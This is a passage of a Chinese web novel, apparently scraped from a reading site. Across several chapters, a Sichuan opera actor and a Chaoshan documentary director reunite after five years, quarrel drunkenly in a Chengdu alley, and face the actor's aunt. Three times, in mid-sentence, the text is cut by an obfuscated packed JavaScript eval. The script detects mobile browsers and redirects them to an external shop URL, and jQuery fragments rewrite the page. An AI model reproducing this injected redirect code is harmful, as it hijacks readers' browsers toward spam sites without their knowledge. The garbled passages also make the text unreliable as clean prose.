陈声和那小子倒好,五年过去了一点进步没得,屁都不放一个。 每天一副我错了,我还爱你,我舍不得你的表情,你真让选,他又开始跑! 李霄川咧了咧嘴,结果比哭还难看,他早该知道的。 那年机场送别,他把脸谱硬塞进陈声和包里,说要是后悔了就翻过来看看。结果他愣是没敢动一下。 这回他豁出去又给一次机会,结果呢?陈声和还是那副怂样。 算了吧…… 李霄川这样劝解着自己,五年了。 他等了整整五年。 五年前,他舍不得逼那个潮汕仔在家族与他之间做选择,只能眼睁睁看着爱人消失在机场安检口,手心里还攥着那张被汗水浸湿没敢送出去的潮汕机票。 五年后,当陈声和重新出现在他面前,那双曾经盛满星光的眼睛里写满了欲言又止的为难…… 他还是舍不得逼他。 或许他李霄川这辈子,就是命中注定要孤身一人。 亲情早早离散,友情隔着一层戏台上的油彩,而爱情……他唯一掏心掏肺爱过的人,却被他亲手推回了那个充斥着宗祠香火和家族责任的世界。 戏文里总唱“有情人终成眷属”,可他的戏,大概从一开场,就注定是一出独角戏。 水龙头一拧,浴室顿时静得能听见自己的心跳声。 这段时间为了配合拍摄,天天凌晨起来练功,腰伤犯了也得咬牙挺着。要不是从小练功练出一副硬骨头,早趴下了。 李霄川瘫在床上,盯着天花板发呆。也好……陈声和这副避之不及的样子,倒像一盆冷水,把他心里那点残存的火苗彻底浇灭了。 整整五年了。 他累了,也更怕了。 难道真要等到把对方也拖垮,才甘心吗? …… 陈声和这头全部忙完已经是三天后了。此刻他坐在酒店落地窗前,手里捧着一杯咖啡,手机屏幕亮着,显示着李霄川的聊天记录,日期是一周前。 【明天补拍卸妆镜头,记得带设备】 干巴巴的一句话,连个标点符号都懒得打,跟工作群里发的通知没两样。 他拇指在键盘上悬了半天,打了又删,最后只憋出一句:【成片送审了,谢谢你这段时间的配合】 消息发出去,对话框上方立即显示“对方正在输入”,闪了几下又没了动静。 陈声和把手机反扣在桌上,端起咖啡喝了一口,才发现早就凉透了。面上结的那层膜被他搅开,又慢慢聚拢。 就像他俩现在,面上客客气气,里子早就凉透了。 拍完这部片子,按理说他该回电视台开总结会,接着筹备下个非遗项目。可陈声和在成都多待了三天,行李箱都没打开。 手机又响了,他看了眼来电显示,手指关节不自觉地绷紧。 “阿和,祠堂的事,你大伯已经定好了。”母亲的声音从听筒里传来,“下个月要祭祖了,记得安排好时间啊。” 窗外,成都的夜色被霓虹灯染成一片混沌的红。 陈声和的视线落在远处模糊的灯光上,喉咙发紧:“妈,我这边还要回北京处理后期工作,走不开。” “走不开?”母亲的语气终于有了波动,“你阿嬷走的时候,你说在国外回不来。你爸住院,你说剧组赶进度。现在修正族谱,阿嬷第一个忌日,你还要躲?” 陈声和长舒一口气,他觉得自己快成个神经病了。 电话那头,母亲的声音低了下去:“陈声和,有些责任,你逃不掉的,你生在潮汕,根就在这里。” 玻璃上映出他的脸,苍白、沉默,像一尊被供奉在神龛里的木偶。 可最终还是说了一句:“……我知道了。” 电话刚挂,手机就被他狠狠摔在了沙发上。 林瑶推门进来的时候,陈声和正盯着地上的手机发呆。 “导演,所有素材都归档了。”她把一叠文件放在桌上,犹豫了一下,又补充,“刚才……老张说,他们回来的时候,在兰桂坊看到李老师了。” 陈声和的手指微微一顿。 “他好像喝得有点多。”林瑶轻声说,“听说川剧院今晚吃杀青饭,但李老师……好像是一个人。” 陈声和没吭声。 林瑶是江门人,跟了他三年,早就学会在适当的时候闭嘴。 她安静地退出房间,临走前,目光扫过桌上那杯已经冷掉的茶,陈声和从潮汕带来的凤凰单丛,他每天都会泡,但最近开始,只喝一口就放下。 门关上不到五分钟,陈声和忽然抓起外套就往外冲。 …… 雨开始下了。 成都的雨总是来得突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005914|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但又不是瓢泼大雨,就那种跟补水喷雾似的,细密的雨丝在霓虹灯下飘落,适合拍一切青春痛片。 陈声和出来后没带伞,雨丝打湿了他的长发,顺着脖颈滑进衣领,冰凉刺骨。他抹了把脸上的雨水。 下了车他直奔酒吧后巷,不用问也知道李霄川在哪个酒吧,以前他们总爱来这里。 这个时候的巷子里挤满了夜宵的人。有喝嗨了的小年轻在雨中蹦跳,有情侣缩在屋檐下接吻,还有几个醉汉扶着墙吐。 各种食物的油烟掺着雨水味,直往人鼻子里钻。 陈声和站在巷口,目光扫过每一张陌生的脸,直到…… 最里面的角落,李霄川一个人坐在台阶上,手里捏着一只空酒瓶。 他今天穿着简单的黑色卫衣,袖子卷到手肘,露出手臂上那道练功留下的旧疤。头发有些乱,额前的碎发被雨水打湿,贴在脸上。 陈声和站在原地,想喊一声,却发现喉咙发紧。 他们居然分开五年了吗? 错过了彼此最重要的时刻。 这个认知让陈声和眼睛瞬间就模糊了,他总是在想:为什么世上偏有这么多爱而不得? 从前他觉得戏文里的痴男怨女,尽是无病呻吟。如今自己成了戏中人,才尝出那滋味,最磨人的离散,从来都是悄无声息。 那感觉就像被扔进一片绝望的海水中,缓慢地下沉。求不了速死,也抓不住浮木,就这么半死不活地悬着,任凭苦涩浸透每一寸感知。 直到最后,情绪被蒸发殆尽,成了一具被晾干的空洞躯壳,直挺挺地杵在人生的荒原上,寸草不生。 潮水将礁石凌迟成沙,川流被荒原绞杀。 痛啊…… 真的太痛了。 原来真正的痛,是后知后觉的凌迟,在每一个想起“我们本可以”的瞬间,卷土重来。 李霄川似乎察觉到了视线,抬头目光直直地撞过来。陈声和这才发现他眼睛通红,下巴上冒出了青茬。 四目相对的瞬间,陈声和看到他眼底的醉意,还有一些更深的东西,像是疲惫,又像是压抑已久……尖锐的情绪。 “哟。”李霄川拖着长音,“陈导也来喝酒?” 他的声音沙哑,带着浓重的方言口音,是醉了才会有的语调。 陈声和没说话。雨水顺着他的刘海往下滴,在衬衣领口晕开一片深色。 李霄川盯着他看了一会儿,又笑了起来:“还是说……”他晃了晃空酒瓶,“陈导是来取材的?拍个《过气川剧演员夜生活实录》?” 陈声和的手指抠着裤缝,他现在应该转身就走。 他应该像这五年里的每一次一样,避开、沉默、装作从未认识过这个人。 可今晚不一样。 今晚母亲的电话就像小时候挨揍的藤条,狠狠剜进他骨缝里那些从未愈合的旧伤。 他不想再当那个克制的、隐忍的、永远被家族钉在祠堂牌位上的陈家独子。 陈声和小声吸了吸鼻子,迈步走了过去,皮鞋踩进积水里,冰凉的雨水立刻浸透袜子黏在脚背上。 “你喝多了。” 李霄川抬头看他。巷子对面酒吧的霓虹灯管在他眼睛里跳动,亮得吓人:“所以呢?” “所以……”陈声和伸手,一把拽住他的手腕,“跟我回去。” 李霄川的皮肤滚烫,腕骨硌在掌心,像握着一块烧红的炭。 雨水顺着两人的手臂交叠处滑下,分不清是谁更湿一点。李霄川睫毛上挂着水珠,在霓虹灯下闪着光,可眼神却冷得像冰。 74.别装了成吗 “回哪儿?”他慢吞吞地问,每个字都嚼得很碎,“你家吗陈少爷?我配吗?” 旁边几个醉汉往这边看过来。陈声和压低声音:“别在这儿闹……” 李霄川的皮肤下是清晰的脉搏,跳动得又快又重。那时候他们在琴房台阶上接吻,李霄川的脉搏也是这样,在他唇下疯狂地跳。 “我闹?”李霄川气极反笑,他凑近陈声和,带着酒气的呼吸喷在他脸上,“五年前是谁在机场头都不回?五年后又是谁在片场装不认识?现在你让我别闹?” 他猛地抽回手,力道大得让陈声和踉跄了一下,空酒瓶咣当一声砸在地上,碎成几片。 “你喝多了。”陈声和重复了一遍,声音比蚊子还小。 李霄川站起身,他比陈声和高出半个头,阴影笼罩下来时带着酒气和潮湿的体温把他整个人罩住。 “我喝多了,那你呢?” 他的手指戳在陈声和胸口,力道不重,但衬衫立刻晕开一个小水圈。 “你现在站在这里,”李霄川的声音压得很低,“是因为可怜我,还是因为……” 他顿了顿,眼底闪过尖锐的痛:“你他M终于想起来,我们认识?” 雨水流进陈声和眼睛里。 他该解释祠堂的事。 他应该说,是因为母亲的电话,是因为祠堂,是因为那些压得他喘不过气的责任,可话到嘴边,却变成了一句:“……你剧团其他人呢?” 李霄川的表情僵了一瞬,随即嗤笑出声:“陈导还是这么体贴。”他后退半步,抬手抹了把脸上的雨水,“放心,没人会拍到你和我这种人在一块儿。” “我不是……” “不是什么?”李霄川打断他,“不是怕被人看见?不是怕影响你陈大导演的名声?” 巷子深处酒吧的音乐突然炸响,低音炮震得地面积水都在颤。 陈声和耳朵里嗡嗡的。他盯着李霄川被雨水泡透的领口,那道练功留下的疤隐约可见,像条蜈蚣趴在他喉结下面。 “李霄川。”他听见自己的声音卡在喉咙里,像一块没化开的冰糖,“别这样。” “别哪样啊?”李霄川歪着头看他,酒精让他的眼角泛红,说话时带着重重的鼻音。 他晃了晃手里刚买的半罐啤酒,铝罐上的水珠滚落到地上:“别在公开场合和你说话?” 他再次逼近,陈声和闻到他身上混合着雨水和酒精的味道。李霄川的呼吸扑在他脸上,带着微醺的热度。 “还是……别记得你?” 陈声和的手指蜷缩起来。雨水顺着他的后颈滑进衣领,衬衫已经湿透了,黏在后背上,冰凉得像层蜕不掉的蛇皮。 李霄川转身要走,脚步有些踉跄。 陈声和抓住他的手臂,掌心下的肌肉瞬间绷紧:“你去哪?” “关你屁事。”李霄川甩开他,却因为醉酒晃了一下,肩膀撞在潮湿的砖墙上。他低低啧了一声,抬手按住肩膀,那里有一道旧伤,陈声和比谁都清楚。 “别这样……李霄川……” 李霄川头也不回地往巷子外走,声音混在雨声里:“回去吧大导演,别来装什么好心。” 陈声和站在原地,雨水顺着他的下巴滴落,在地上砸出一个个小水坑。 巷口的灯光把李霄川的背影拉得很长,那道影子在积水里扭曲、破碎,像是一场即将消散的梦。 他突然跑了起来,水花溅起,打湿了他的裤脚。 陈声和追上李霄川,一把拽住他的手腕:“我送你回去。” 李霄川猛地转身,眼底藏着陈声和害怕的情绪:“陈声和,你到底想干什么?” 陈声和的喉咙发紧。 他想说,我怕你倒在路边没人知道;我想起你胃不好,不能空腹喝酒;我……我其实很想你,就想和你说说话,哪怕只是安静地待一会儿也成。 李霄川最终没走成。 他转身的时候,余光扫过陈声和。 雨水顺着他的发梢往下淌,白衬衫被浸得半透明,贴在单薄的肩膀上。陈声和天生体温偏低,淋了雨,这会儿嘴唇已经开始发白了。 李霄川记得大学时有次陈声和拍外景淋了雨,当晚就高烧到39度。 潮汕人骨子里怕湿气,那次陈声和烧了整整三天,喉咙哑得说不出话,还惦记着没剪完的片子。 “……操!” 李霄川狠狠骂了一声,猛地折返回来,一把拽住陈声和的手腕就往巷子外走。 陈声和被他扯得踉跄:“李霄川?” “你他M闭嘴成吗?!”李霄川头也不回,声音压得极低,“我特么就是犯贱!” 陈声和的手腕被他攥得生疼,可李霄川掌心的温度却烫得惊人,像块烙铁似的箍在他皮肤上。 他抿着唇,最终什么都没说,任由李霄川拖着自己穿过雨幕。 巷口的路灯坏了几个,只有几个尽职的亮着,也有可能是特意营造的氛围。 李霄川抬手拦了辆出租车,拉开车门的瞬间,热气掺着车载香薰的味道拂面而来。 “上去。”他松开陈声和的手,语气硬得像要打人。 陈声和没动。雨水顺着他的睫毛往下滴:“你呢?” 李霄川冷哼了一声:“怎么,陈导还想送我回家?” 出租车司机不耐烦地按了下喇叭。雨越下越大,毛毛雨已经变成了大珍珠,砸在车顶上的声音犹如无数细小的钉子钉在身上。 陈声和突然伸手,抓住李霄川湿透的袖口:“……一起。” 他的手指很凉,手指因为雨水浸泡微微发皱,可能怕李霄川再甩开他的手,他抓得很紧,甚至在微微发抖。 李霄川盯着那只手看了一眼,突然嗤笑一声。 “行啊。”他弯腰钻进副驾驶,湿透的T恤在座椅上洇出一片深色水痕,“反正陈导付钱。” 车门关上的时候,陈声和闻到了雨水、酒精和李霄川身上那种熟悉的味道,像晒过的棉被,像后台的油彩,像所有他试图忘记却从未成功的东西。 雨水在车窗上蜿蜒成河。 出租车里弥漫着潮湿的皮革味和淡淡的酒精气息。 李霄川靠在座椅上,头偏向窗外,脖颈的线条在街灯下忽明忽暗。他的右手搭在膝盖上,指节处有一道新鲜的伤口,可能是刚才划的,血已经凝固了。 陈声和坐在另一侧,肩膀紧贴着车门,却控制不住用余光看向副驾驶。 李霄川的衬衫湿透了,空调的风一吹,布料就紧紧贴在他肩胛骨的轮廓上。 “地址。”司机不耐烦地敲了敲计价器,塑料面板发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005915|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空洞的响声。 陈声和张开嘴,却突然哽住,他不知道李霄川现在住哪儿。 五年前,他们住的是学校后门的老小区,三楼,楼梯口的感应灯总是坏的。 陈声和去过无数次,闭着眼都能摸到那个生锈的门牌。可现在呢?除了剧院的公共宿舍,具体住在哪里都不知道。 “锦江区,”李霄川突然开口,“莲花西路。” 他的嗓音沙哑,带着浓重的鼻音。陈声和抬眼,却发现李霄川的按着肩膀在按摩,雨天他的旧伤总是会发作。 “你肩膀……” “闭嘴行不行?”李霄川没看他,只是把脸更深地转向窗外,“别装了,你不累吗?” 出租车拐过一个水洼,溅起的水花拍在车窗上。陈声和攥紧了拳头,指甲陷进掌心的软肉里,却感觉不到痛。 莲花西路的老式小区比陈声和想象得更破旧了,而楼道里的灯果然还是坏的, 李霄川摸黑掏出钥匙,金属碰撞声在黑暗中异常明晰。 他的手指在锁孔旁蹭了几下才对准,这个动作让陈声和想起以前李霄川喝醉时也是这样,总要摸索很久才能打开门。 门开的瞬间,陈旧的霉味裹着灰尘的气息蜂拥而至,应该是很久没人住过了。 “满意了?”李霄川甩掉鞋子,光脚踩在木地板上,“可以走了吧?” 陈声和站在门口没动。雨水顺着他的头发丝往下滴,在脚边聚了一小摊。 他看见玄关那儿歪七扭八扔着几双鞋。其中那双运动鞋,还是他们大学时候一起买的,鞋边儿都黄得不成样子了。 “你的手。”陈声和指了指他关节那儿破皮的地方,“得消消毒。” 李霄川猛地转过身,一步一步走回来,直到鞋尖儿都快抵上陈声和的皮鞋。 “陈声和,”他的每个字都像是从牙缝里挤出来的,“你知不知道自己现在像什么?” 陈声和没吭声,目光落在他被雨水打湿的裤脚上。 “像那些拍纪录片的,”李霄川呼出的气带着酒味儿,“装得挺关心拍摄对象,其实就只想要个好故事。” 陈声和猛地抬起头。 李霄川的眼睛在昏暗中格外亮,像是有团火,明明快灭了,又硬撑着烧。 “我不是。” “那你是什么?”李霄川又往前逼了一步,湿漉漉的衣角蹭过陈声和的手背,“可怜我?觉得对不起我?还是……你终于想起来,我他M也是个人,也会疼的啊?!” 陈声和的呼吸一下子乱了。 他伸手想去抓李霄川的手腕,反而被对方一把攥住手指。 李霄川的手心烫得吓人,虎口那层厚茧硌得他皮肤生疼。 五年前,这双手总是轻轻搭在他后背上,生怕用力重了。 现在不一样了。 李霄川使的劲儿大得离谱,陈声和觉得自己的手指都快被捏碎了。 “疼吗?”李霄川死死盯着他,后槽牙咬得咯吱响,字字都像是磨出来的,“我比这疼一千倍、一万倍。” 陈声和眼眶一热,喉咙动了动,却一个字也挤不出来。 他固执地站在门口没走。李霄川转身进了屋,却没关门。 两人就这么僵持了几分钟。最后陈声和才迈进来,顺手带上了门。 75.我想好好和你谈谈 浴室的水龙头大概是坏了,滴滴答答的,在安静的屋子里格外清楚。 陈声和低头看着地上弯弯曲曲的水痕。门锁合上,像是给这场拉扯画上了一个……说不清的符号。 他熟门熟路地翻出医药箱,用棉签蘸了碘伏,轻轻擦过李霄川手上的伤。 碘伏的味道掺着雨天的潮气,在小客厅里漫开,闷得人喘不过气。 李霄川陷在那张旧沙发里,随他弄。头发上的水珠滴在褪了色的沙发套上,晕开一个个深色的印子。 他领口歪着,露出锁骨下面一道疤。其实早就不疼了,就是看着还有点吓人。 “什么时候弄的?”陈声和指了指那儿。 回应他的,只有窗外哗哗的雨声。 李霄川盯着茶几上那杯前两天喝过的茶,现在早就冷透的了,茶叶在杯底蜷成扭曲的一团。 陈声和的手悬在半空,最终还是落了下去。手指刚碰到那道疤,就被李霄川猛地攥住了手腕。 力道大得几乎要捏碎他的腕骨。 “好奇?”李霄川的拇指重重碾过他腕内侧的旧疤,“还是陈导想拍特写?好拿回去当素材?” 陈声和挣了一下,没挣开。 “五年前,也是在这里,这个地方。”李霄川松开他的手,向后靠进沙发里,声音轻得像在说给自己听,“你说让我别逼你……好,我不逼你。” 雨点突然变得密集,噼里啪啦砸在玻璃上。 “我他M放你回去,这五年来,无论怎么难过我都不打扰你。”李霄川扯了扯嘴角,露出一个比哭还难看的笑,“你有父母要孝顺,有祠堂等着你回去上香……” 他的声音越来越低,越来越哑:“我特么算什么呢?!” 陈声和的眼泪砸在地板上,在积灰的木地板上洇出深色的圆点。 “陈声和,我放手了,你明白吗?”李霄川的眼睛通红一片,这段时间熬了无数个夜,身心俱惫,“你回去过你的好日子,该结婚生子,该孝顺父母……” “我早该知道的,我就一个烂人。”李霄川用指节蹭了蹭发红的眼角,“陈少爷行行好,让我烂在这儿,成吗?” 陈声和站在原地,感觉有玻璃碴子在胸腔里来回搅动。他张了张嘴,却只听见自己急促的呼吸声。 李霄川猛地别过脸去,下颌线绷得死紧。 茶几上的茶杯映出两人扭曲的倒影,仿佛被雨水泡皱的老照片,又像他们这段支离破碎的感情。 “……不是这样的。” 陈声和终于找回了自己的声音,却哽咽着说不出一句完整的话来。他看见李霄川的拳头在身侧攥紧,指节蹦着骇人的青白。 李霄川没动,只是死死盯着窗外。 雨水顺着玻璃蜿蜒而下,如同无数道透明的伤痕。 “我从来没有……”陈声和喉结滚动,声音细若蚊呐,“没有觉得你是烂人。” 李霄川的肩膀颤了一下,他猛地转过身,陈声和下意识后退了半步,就这么一个小动作,李霄川的眼神立刻变了,黑沉沉的压过来。 陈声和从来都不觉得李霄川是个善茬,因为这个世界就是这么现实,老实人根本活不下去。 他没有父母撑腰,没有财力托举,李霄川从小在戏班子里摸爬滚打,要是没点脾气,早就被人欺负死了。 “那你觉得我是什么?”他的声音低得吓人,那双眼睛里的怒火烧得陈声和浑身发冷。 “陈声和,这五年,你哪怕有一次,想过我吗?” 陈声和双唇抖着,他看见李霄川额角的青筋在跳动,看见他脖颈上暴起的血管。 这样的李霄川让他想起大学时,他们一群人去酒吧过万圣节,结果有个不安分的人趁机揩油摸他,手直接伸进了他的衣服里。 当时这人把那个混混打进了医院,后来要不是同伴们报警作证,李霄川就要付很大一笔赔偿。 同样暴戾的眼神,同样令人窒息的压迫感。 他想说,每一天。 他想说,我手机里存着你所有演出的时间表。 他想说,我抽屉最深处放着我们第一次看电影的票根。 他想说,阿川,这五年我过得好累。 可最终,他只是抬起手,颤抖着碰了碰李霄川的胳膊:“你别这样……我害怕……” 李霄川忽地轻笑了一声,那笑声让陈声和不寒而栗。他一把扣住陈声和的手腕,恨不得捏碎。 “你究竟在怕什么?嗯?”他的声音逐渐拔高,最后几乎化作压抑的低吼,“我现在没有强迫你,没有逼你,更没有拦着你做任何事……你他M到底在怕什么?” “是怕我动手打你?” “怕我死缠烂打?” “还是怕我……会在这里杀了你啊?!” 陈声和的手指颤抖着,他能感觉到李霄川的呼吸变得急促,能感觉到他皮肤下奔腾的血液,好似随时会爆发的火山。 “我想和你……好好谈谈,”陈声和的眼泪落下来,砸在李霄川的手背上,“我很想你,我想和你待会儿……” 李霄川的眼神突然就变得绝望了,他一把扯过沙发靠背蒙在头上,布料下传来压抑的、野兽一样的喘息声。 从开始到现在,他依旧拿陈声和没办法,怎么办?谁能给他李霄川指条明路? 陈声和看见他的肩膀在剧烈抖动,看见他手背上暴起的青筋,这一刻他真怕李霄川会砸碎眼前的一切。 “不要……生气……” 他的声音抖得不成样子,手指小心翼翼地触碰李霄川的手背,却被对方猛地甩开,抱枕滚落在一旁。 他看见李霄川通红的眼眶里蓄满了泪水,却倔强地不肯落下,那种压抑的愤怒比任何爆发都更让人恐惧。 “阿川……”他哽咽着去拉李霄川的衣角,像五年前每次吵架时那样,却在对上那双眼睛时僵住了…… 那里面的伤痛太深太重,深得让他说不出想你这样轻飘飘的字眼。 “对不起……”他小声说,眼泪砸在李霄川的腿上。 陈声和从蹲着变成了跪坐在地上,额头抵住李霄川的膝盖,痛苦将他压的连腰都挺不起来了。 “对不起……” 他又说了一遍,额头抵着的地方传来李霄川肌肉绷紧的触感,他能感觉到对方身体的僵硬,能闻到李霄川身上熟悉的皂角香掺着雨水的气息。 膝盖下的地板硌得生疼,但他不敢动,好似这样卑微的姿态才能表达他万分之一的歉意。 “对不起……阿川……” 第三遍道歉卡在喉咙里,变成了一声哽咽。他感觉到李霄川的手指动了动,似乎想抬起来碰他的头发,又硬生生停在了半空。 陈声和闭上眼,睫毛被泪水打湿,黏糊糊地粘在眼皮上。 这间小小的出租屋,塞满了他们的青春:墙上有他们一起贴的电影海报,桌角还留着当年吃火锅烫出的疤。 可这屋里也浸透了分离后那些发霉的痛苦。 重逢五十多天,一个扛着摄像机且战且退,一个在戏台上步步紧逼。李霄川非要逼他给个答案,陈声和却像五年前那样,又一次背过身去。 陈声和从来不知道,自己一句“我想你”,会把这个成都男人逼到多绝望的境地。他更不明白,自己在李霄川心里,早就是他全部的世界。 李霄川爱他,爱到舍不得让他为难。 一个势单力薄的川剧演员,对抗不了千山万水外的潮汕宗祠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005916|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也给不了什么金光大道。 他唯一能掏出来的,就只剩那点看似不值钱……又滚烫的爱。 陈声和忽然全都懂了。 这个人不是不爱了,是爱得太早,等得太久,把一生所有的孤勇都在二十三岁那年透支殆尽了。 此刻蜷缩在沙发一角的,是被他亲手推回人海,却逆着人潮寻了他五年的、一条遍体鳞伤的川。 他们都在演一出叫“放下”的戏,却偏偏都算不上一流的演员。 他努力扮演着一个专业的导演,句句不离工作,却绝口不提当年。 他尽力演绎着一个合格的前任,礼貌周到,事事把握分寸,却不敢有一次眼神的纠缠。 剧本写得天衣无缝,台词也排练了千百遍。 可当幕布升起,灯光打亮,他们才绝望地发现,对方一个下意识的皱眉,一声轻轻的叹息,就足以让所有精心堆砌的伪装,土崩瓦解。 原来有些东西,是演不出来的。 比如那个刻意绕开的名字。 比如那道偷偷追随的目光。 比如这整整五年,都没能磨掉半分的,爱和疼。 …… 凌晨两点一刻,门铃突然响了。 陈声和正蹲在茶几前收拾沾血的棉签,吓了一跳,医用酒精瓶咣当一声倒在桌面上,透明的液体顺着桌沿滴落在地板上。 他抬头看向沙发上的李霄川,那人依然保持着靠坐的姿势,连眼皮都没抬一下,压根没听见门铃声。 “你叫人了?”陈声和压低声音问道,顺手把染血的棉签塞进垃圾桶最底层。 李霄川扯了扯嘴角,牵动了颧骨上的淤青:“我手机在酒吧就摔没电了。” 门铃又响了一声,这次伴随着咚咚的拍门声,力道大得恨不得把门板拍穿。 “李霄川!”门外传来一个中年女人带着浓重四川口音的喊声,“龟儿开门!老子晓得你在屋头!” 李霄川的表情终于变了。 他撑着沙发扶手想要站起来,却因为醉酒踉跄了一下,陈声和伸手扶住他的胳膊,隔着湿透的衬衫能感受到对方皮肤传来的热度。 “我姑姑。”李霄川声音里带着几分无奈,“你……” 他话没说完,门锁响了一声,外面的人自己用钥匙开了门。 站在门口的李红梅手里拎着个保温桶。脖子里还围着店里围裙,身上带着夜市的油烟味。 她的目光在陈声和脸上停留了一瞬间,又转向李霄川,在看到侄子脸上的伤时眉头立刻拧成了疙瘩。 “老子真是遇得到你,”李红梅大步走进来,把保温桶重重往茶几上一放,“又打架了?” 李霄川别过脸:“……没有。” “放屁!”李红梅一巴掌拍在茶几上,震得酒精瓶又晃了晃,“剧院的人说你带了个男娃儿回来,我还不信。” 她的视线再次落到陈声和身上,语气突然缓和了些:“他打架没得?” 陈声和连忙摇摇头,湿漉漉的头发甩出几滴水珠:“没有,就是……不小心摔了一下,” “你给老子打架要是输了。”李红梅从头到脚把李霄川扫了一遍才放心,“老子先打死你龟儿!” 李霄川叹了一声:“姑!” “咋子嘛!”姑姑一巴掌拍在他后脑勺上,力道却不重,“人家大导演冒雨把你这个醉鬼捡回来,不该谢谢人家?” 说着把保温桶的盖子被拧开,苦涩的中药味和花椒的香气飘出来,瞬间盖过了房间里残留的酒精味。 “喝!”姑姑把碗怼到李霄川面前,碗里黑褐色的液体晃动着,“专门给你熬的醒酒汤,黄连加蜂蜜,败火又醒脑!” 陈声和:“……” 76.这次,依旧你来选 李霄川皱着眉接过碗,却在喝第一口时呛得直咳嗽。陈声和去拍他的背,手刚碰到就被李红梅一把抓住。 “哎哟,这手冰的。”姑姑粗糙的掌心摩挲着陈声和的手腕,常年端火锅磨出的茧子刮得皮肤发红,“你们这些年轻人,淋了雨也不晓得煮点姜汤。” 说着也给陈声和倒了一碗怼到他面前:“你也喝,都给老子败败火!” 陈声和慢悠悠地端起来闻了闻,这味道简直……比他这几年喝过的任何一道中药都苦。 他下意识就要放回去,可是…… 再偷偷看一眼李红梅,那架势,今天要不喝,他怕是走不出这个门了。 在李红梅的注视下,陈声和硬着头皮喝了一口,太苦了,胃里直接发出反抗,但他没吐掉,忍着咽了下去。 李霄川的碗哐当一声放在茶几上,碗底还残留着几滴药汤。 “姑,你回去吧。我没事。”他的声音带着些警告。 “凶啥子凶!”李红梅扔过来一条干毛巾,“人家大老远来,你就让人家穿湿衣服?” 陈声和接过毛巾,赶紧盖在头上,他晚上没吃饭,刚才那几口汤喝得他想吐,正好用毛巾挡住了表情。 李霄川猛地站起来往浴室走,脚步还有些虚浮:“我去换衣服。” “站到!”姑姑吼了一嗓子,从衣柜里扯出两件干衣服扔在沙发上,“你们两个,都把湿衣服先换了!” 浴室门关上后,李红梅的表情突然变了。她慢慢在沙发上坐下,围裙上的花椒粒从兜里掉了几颗在茶几上。 “陈导演。”她用普通话轻声说,声音比刚才柔和了许多,“你知道我侄子这五年,买过多少张去潮汕的机票吗?” 陈声和擦头发的手顿住,毛巾还搭在湿漉漉的发梢上,水珠顺着他的脖颈滑进衣领。 “十二张。”李红梅从围裙口袋里掏出一叠票据,“每三个月一张,每次都退。” 陈旧的机票在茶几上排开,如同一列永远到不了站的火车。最早的那张已经发白,边角处还有被反复摩挲的痕迹。 “第一次是你们分手后一周。”李红梅的手指点了点最早的那张,“他连行李都收拾好了,到了机场又回来了。” 陈声和的呼吸卡在喉咙不能吐出,仿佛快要窒息了。 “后来每次都是这样。”她的手指轻轻抚平一张机票的折角,“要么看到你家的新闻,要么听剧团里来交流的潮汕人说你们那儿的风俗。” 她抬头看着陈声和,有些疲惫道:“你知道他最怕什么吗?” 浴室的水声停了,传来衣物摩擦的窸窣声。 “他怕你为难。”李红梅最后说,把机票一张张收好,叠成整齐的一摞,“怕你像现在这样,红着眼睛站在这里。” “我这侄儿啊。”李红梅往浴室方向瞥了一眼,压低声音道,“打小就轴。学戏那会儿摔断腿都不吭声,现在认准的人,怕是这辈子都改不了主意。” 她顿了顿,目光里满是心疼与无奈:“你们两个娃儿啊……” “我那个哥,唉,就是个杀千刀的,硬是把我这侄儿的前程给耽误喽。说出来不怕你陈导笑话……我哥手里,是攥着些东西的,财跟权,都不老少。” “可偏偏对霄川,他是一分一厘都没舍得给过,心肠硬得很。那娃儿能有今天,全是他自己一拳一脚,从泥巴里头挣出来的。” 李红梅长叹一声,声音轻得几乎要散在空气里:“给不了未来,就别再互相折磨了。我也就这一个侄儿,做姑姑的看着心疼。” “今天姑姑也给你交个底,要是真决定了要在一起,房子车子姑姑都给你们备好,别家有的我李家男人都能给得起。” 她的声音忽然低了下去,带着几分恳求和哽咽:“如果实在决定不了……就别再来找他了。这孩子已经够苦了,说不定狠下心来断了联系,时间久了,也就慢慢淡忘了。” 李霄川推门出来时,客厅里只剩下醒酒汤的余温,和一件叠得整整齐齐的干衣服。 汤碗边缘还留着半个指纹,是陈声和刚才端碗时留下的。 但陈声和人不见了。 李霄川站在空荡荡的客厅里,手里攥着那件陈声和没带走的干衣服。布料很软,是他自己的旧T恤,领口已经有些松了。 他盯着那团皱巴巴的衣物,突然想起五年前,陈声和离开的那天,也是这样,衣柜空了一半,只剩几件他不喜欢的衬衫。 那天他从机场回到家,看见玄关处只剩下一双鞋,就知道什么都留不住了。 